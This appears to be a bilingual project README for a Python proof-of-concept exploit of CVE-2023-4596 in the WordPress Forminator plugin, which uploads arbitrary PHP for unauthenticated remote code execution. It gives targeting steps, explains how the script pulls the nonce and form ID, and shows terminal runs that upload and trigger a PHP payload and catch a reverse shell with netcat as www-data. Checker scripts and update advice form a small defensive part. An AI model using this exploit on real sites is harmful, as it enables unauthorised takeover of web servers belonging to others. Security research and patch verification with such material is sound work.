
PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads.
Script PoC pour CVE-2023-4596, exécution de commandes à distance non authentifiée via des téléchargements de fichiers arbitraires.
Vidéo d'utilisation du PoC
Modèle Nuclei
Article de presse
WordFence
NVD Nist
Une vulnérabilité critique a été découverte dans le plugin WordPress Forminator, qui permet à un attaquant non autorisé de télécharger des fichiers arbitraires sur un serveur. La preuve de concept (PoC) initiale était mal écrite, le chercheur original a partagé quelques captures d'écran peu claires ainsi qu'une requête contenant du code non expliqué. J'ai donc écrit un script Python pour simplifier et automatiser le processus.
La vulnérabilité est causée par une erreur dans le processus de validation des types de fichiers. Lors de la tentative de téléchargement d'un format de fichier interdit, comme PHP, une alerte est générée indiquant que « l'extension du fichier téléchargé n'est pas autorisée ». Malgré cette notification, le fichier téléchargé n'est pas bloqué mais est plutôt téléchargé avec succès et peut être consulté dans le dossier « /wp-content/uploads » du site. Cette vulnérabilité peut conduire à une exécution de code à distance.
Forminator est actuellement actif sur plus de 400 000 sites, et avec la simplicité de la vulnérabilité, il est assez facile de prendre le contrôle de tout site exécutant Forminator avec le téléchargement de fichiers activé.
Trouvez une page exécutant Forminator <= 1.24.6 avec une fonction de téléchargement sur la page. Copiez l'URL complète de la page qui exécute le téléchargement de fichiers postdata à l'aide de Forminator, si seul le domaine est spécifié, cela générera une erreur. Vous pouvez utiliser interactsh ou Burp Collaborator pour générer un lien, que vous pouvez coller dans le champ sélectionné. Après un téléchargement réussi, une requête devrait apparaître dans interactsh ou Burp dans les 5 secondes, indiquant que l'instance est vulnérable.
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Input out-of-band link: <input link>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php
[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
[+] Vulnerable version found: 1.24.6
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Enter IP address: <input IP>
Enter port: <input port>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php
[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell
user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Le script nécessite seulement une URL complète d'une page utilisant Forminator avec les téléchargements de fichiers activés et un lien interactsh pour déterminer si l'instance est vulnérable. La première requête est envoyée à la page pour extraire les valeurs forminator_nonce et form_id, qui sont différentes pour chaque page. Après avoir récupéré ces valeurs, une deuxième requête est envoyée en utilisant ces valeurs extraites, et le fichier PHP est téléchargé. Ce fichier PHP utilise le lien interactsh fourni précédemment par l'utilisateur et l'ajoute au script. Lorsque la page où se trouve le script PHP est visitée, une requête apparaîtra dans interactsh indiquant que le site est vulnérable. Les expressions régulières (Regex) sont utilisées pour diviser l'URL en parties utilisées ultérieurement dans la requête, elles servent également à déterminer la version de Forminator qui est affichée lors de l'utilisation de l'argument -v. L'emplacement où le fichier est téléchargé dépend de l'année et du mois du téléchargement. C'est pourquoi j'ai utilisé datetime pour déterminer le mois et l'année en cours, qui sont également utilisés ultérieurement pour envoyer la requête à l'emplacement du fichier téléchargé. Lors des tests de la vulnérabilité, j'utilisais un seul nom de fichier, mais après avoir envoyé plusieurs fichiers, j'ai remarqué que seul le premier fichier téléchargé était exécuté. Pour résoudre cela, une chaîne aléatoire est utilisée pour chaque requête.
[-] Impossible d'extraire forminator_nonce
Cet exploit fonctionne uniquement lorsqu'un lien est fourni vers la page exacte où le téléchargement de fichiers est activé avec Forminator. Lorsqu'un lien est fourni avec seulement le domaine ou une page qui n'exécute pas de téléchargement de fichiers, il génère une erreur. C'est parce qu'il extrait le forminator_nonce de l'URL fournie et si cette page n'exécute pas Forminator ou le téléchargement de fichiers Forminator, il ne peut pas trouver la valeur et ne peut pas l'utiliser. Vous pouvez également vérifier en recherchant la chaîne « forminator-field-post-image-postdata » dans le code source du site. Un lien complet, par exemple, ressemble à ceci : http://127.0.0.1:8000/?p=7. Vous pouvez trouver l'issue complète ici.
J'ai inclus deux fichiers (checker.sh et checker.bat) dans le dépôt qui vérifient le dossier actuel et ses sous-dossiers pour tout fichier avec une extension bloquée. Lorsqu'ils sont trouvés, ils sont affichés. La raison de ce script est que pour chaque mois où le plugin a été installé, un nouveau dossier est créé, ce qui peut demander beaucoup de travail pour tous les vérifier manuellement.
Mettre à jour vers la dernière version.
http://127.0.0.1:8000Le script fourni est uniquement à des fins éducatives, je ne suis pas responsable de vos actions.
Twitter
Créé par Finn van der Knaap